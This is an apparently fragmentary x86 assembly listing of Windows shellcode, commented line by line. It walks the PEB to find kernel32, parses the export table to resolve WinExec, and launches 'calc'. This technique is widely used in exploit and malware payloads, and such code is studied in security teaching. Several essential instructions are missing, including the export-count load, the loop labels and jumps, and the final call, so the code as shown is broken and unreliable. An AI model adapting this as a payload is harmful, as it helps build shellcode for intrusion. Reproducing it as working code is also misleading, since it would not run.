; allocate local variables and initialize them to 0
mov [ebp - 04h], eax ; will store number of exported functions
mov [ebp - 08h], eax ; will store address of exported functions addresses table
mov [ebp - 0ch], eax ; will store address of exported functions name table
mov [ebp - 10h], eax ; will store address of exported functions ordinal table
mov [ebp - 14h], eax ; will store a null terminated byte string WinExec
mov [ebp - 18h], eax ; will store address to WinExec function
mov [ebp - 1ch], eax ; reserved
; push WinExec to stack and save it to a local variable
push 00636578h ; pushing null,c,e,x
push 456e6957h ; pushing E,n,i,W
mov [ebp - 14h], esp ; store pointer to WinExec
; get kernel32 base address
mov eax, [fs:30h] ; Pointer to PEB (https://en.wikipedia.org/wiki/Win32_Thread_Information_Block)
mov eax, [eax + 0ch] ; Pointer to Ldr
mov eax, [eax + 14h] ; Pointer to InMemoryOrderModuleList
mov eax, [eax] ; this program's module
mov eax, [eax] ; ntdll module
mov eax, [eax -8h + 18h] ; kernel32.DllBase
mov ebx, eax ; store kernel32.dll base address in ebx
; get address of PE signature
mov eax, [ebx + 3ch] ; 0x3c into the image - RVA of PE signature
add eax, ebx ; address of PE signature: eax = eax + kernel32 base -> eax = 0xf8 + kernel32 base
; get address of Export Table
mov eax, [eax + 78h] ; 0x78 bytes after the PE signature is an RVA of Export Table
add eax, ebx ; address of Export Table = Export Table RVA + kernel32 base
; get number of exported functions
mov [ebp - 4h], ecx ; store number of exported functions
; get address of exported functions table
mov ecx, [eax + 1ch] ; get RVA of exported functions table
add ecx, ebx ; get address of exported functions table
mov [ebp - 8h], ecx ; store address of exported functions table
; get address of name pointer table
mov ecx, [eax + 20h] ; get RVA of Name Pointer Table
add ecx, ebx ; get address of Name Pointer Table
mov [ebp - 0ch], ecx ; store address of Name Pointer Table
; get address of functions ordinal table
mov ecx, [eax + 24h] ; get RVA of functions ordinal table
add ecx, ebx ; get address of functions ordinal table
mov [ebp - 10h], ecx ; store address of functions ordinal table
; loop through exported function name pointer table and find position of WinExec
mov esi, [ebp - 14h] ; esi = pointer to WinExec
mov edi, [ebp - 0ch] ; edi = pointer to exported function names table
cld ; https://en.wikipedia.org/wiki/Direction_flag
mov edi, [edi + eax*4] ; get RVA of the next function name in the exported function names table
add edi, ebx ; get address of the next function name in the exported function names table
mov cx, 8 ; tell the next-comparison instruction to compare first 8 bytes
repe cmpsb ; check if esi == edi
inc eax ; increase the counter
cmp eax, [ebp - 4h] ; check if we have looped over all the exported function names
mov ecx, [ebp - 10h] ; ecx = ordinal table
mov edx, [ebp - 8h] ; edx = export address table
; get address of WinExec ordinal
mov ax, [ecx + eax * 2] ; get WinExec ordinal
mov eax, [edx + eax * 4]; get RVA of WinExec function
add eax, ebx ; get VA of WinExec
push 636c6163h ; push calc on the stack
mov ecx, esp ; ecx = calc
push 10 ; uCmdSHow = SW_SHOWDEFAULT
push ecx ; lpCmdLine = calc
add esp, 1ch ; local variables
add esp, 0ch ; pushes for ebp and WinExec
add esp, 4h ; pushes for WinExec invokation